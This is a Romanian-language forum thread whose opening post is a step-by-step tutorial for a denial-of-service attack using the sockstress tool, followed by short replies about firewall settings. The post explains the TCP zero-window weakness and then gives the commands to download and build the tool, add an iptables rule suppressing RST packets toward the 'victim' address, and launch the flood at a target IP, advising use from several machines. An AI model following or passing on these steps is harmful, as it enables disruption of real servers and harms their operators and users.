Jump to content
Ganav

[TUT] DoS sockstress

Recommended Posts

Acest tutorial prezinta un mod de a realiza un atac de tip DoS(denial-of-service) folosind utilitarul sockstress. sockstress se foloseste de o vulnerabilitatea in implementarea protocolului TCP, si anume etapa de realizare a handshake-ului. In continuare voi descrie pe scurt atat terminologia cat si etapele de realizare a handshake-ului.

TCP este un protocol orientat pe conexiune(connection oriented protocol). Acesta presupune ca, inainte de comunicare, fiecare entitate(client/server) cunoaste identitatea interlocutorului sau(clientul cunoaste adresa serverului si invers). In etapa initiala a transferului de date, clientul trimite un pachet cu fanionul SYN setat. SYN este o prescurtare de la SYNCHRONIZE si are rolul de a verifica daca server-ul are o adresa valida, daca asculta pe portul respectiv sau daca este oprit sau nu. In cazul in care adresa nu este valida sau daca server-ul este oprit client-ul asteapta un interval de timp(timeout) dupa care inchide conexiunea. In functie de aplicatie, conexiunea poate fi incercata din nou.

Daca serverul este activ si asculta pe portul respectiv acesta trimite un pachet ce are setate fanioanele SYN si ACK. Fanionul ACK este o prescurtare pentru ACKNOWLEDGE si are rolul de a informa clientul ca server-ul a receptionat pachetul initial(cel cu SYN) si transferul poate continua.

Acum clientul trimite un pachet doar cu fanionul ACK setat pentru a comunica server-ului receptionarea pachetului SYN/ACK.

Dupa aceste etape handshake-ul s-a realizat cu succes iar clientul poate comunica cu serverul.

sockstress exploateaza urmatoarea vulnerabilitate: clientul dupa ce a primit pachetul SYN/ACK poate raspunde inapoi server-ului cu un pachet ACK care are dimensiunea ferestrei TCP 0; in aceasta situatie server-ul aloca memorie si asteapta ca un nou pachet ACK sa fie trimis din partea clientului cu dimensiunea ferestrei mai mare ca si zero. Clientul "spune" server-ului ca inca nu a terminat de procesat datele primite anterior.

Acum trebuie sa descarcam sockstress. Rulam urmatoarea comanda:

git clone https://github.com/defuse/sockstress sockstress

Al treilea parametru(sockstress) reprezinta directorul unde dorim sa descarcam sursele. In cazul in care git nu este instalat rulam:

sudo apt-get install git

Acum compilam sockstress:


cd sockstress
sudo make

sockstress se foloseste de socket-uri de tip raw ce necesita rularea ca r00t(sau UID0).

Acum trebuie sa cream o noua regula in iptables care are rolul de a preveni trimiterea pachetelor de tip RST(RESET) ca si raspuns la pachetele SYN/ACK generate de sockstress. Daca sunt trimise pachete RST server-ul nu mai asteapta clientul. Drept urmare, conexiunea este inchisa. Rulam ca r00t:

sudo iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xxx.xxx.xxx.xxx -j DROP

xxx.xxx.xxx.xxx este adresa victimei.

Un exemplu de vector de atac este urmatorul(nu uitati sa specificati regula iptables inainte):

sudo ./sockstress 192.168.2.5:80 eth0

L-am testat doar pe Debian/Ubuntu. Este recomandat ca atacul sa fie lansat de pe mai multe statii.

Pentru a modifica regula iptables la starea initiala rulam:

sudo iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xxx.xxx.xxx.xxx -j ACCEPT

Edited by Ganav
Link to comment
Share on other sites

M'am exprimat gresit. Orice firewall bun poate fi setat pentru a filtra astfel de pachete, iar pfSense este un exemplu, are aceasta optiune bifata by default. Asa este, chiar daca este veche inca se poate folosi, din mai multe motive: nu toata lumea foloseste pfSense. Pe de alta parte iptables nu are nimic setat by default si nu stiu daca se poate crea o astfel de regula pe partea victimei, sau este mai complicat - iptables e complicat oricum pentru incepatori.

Altii nu folosesc firewall deloc ...

Bun tutorial :)

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...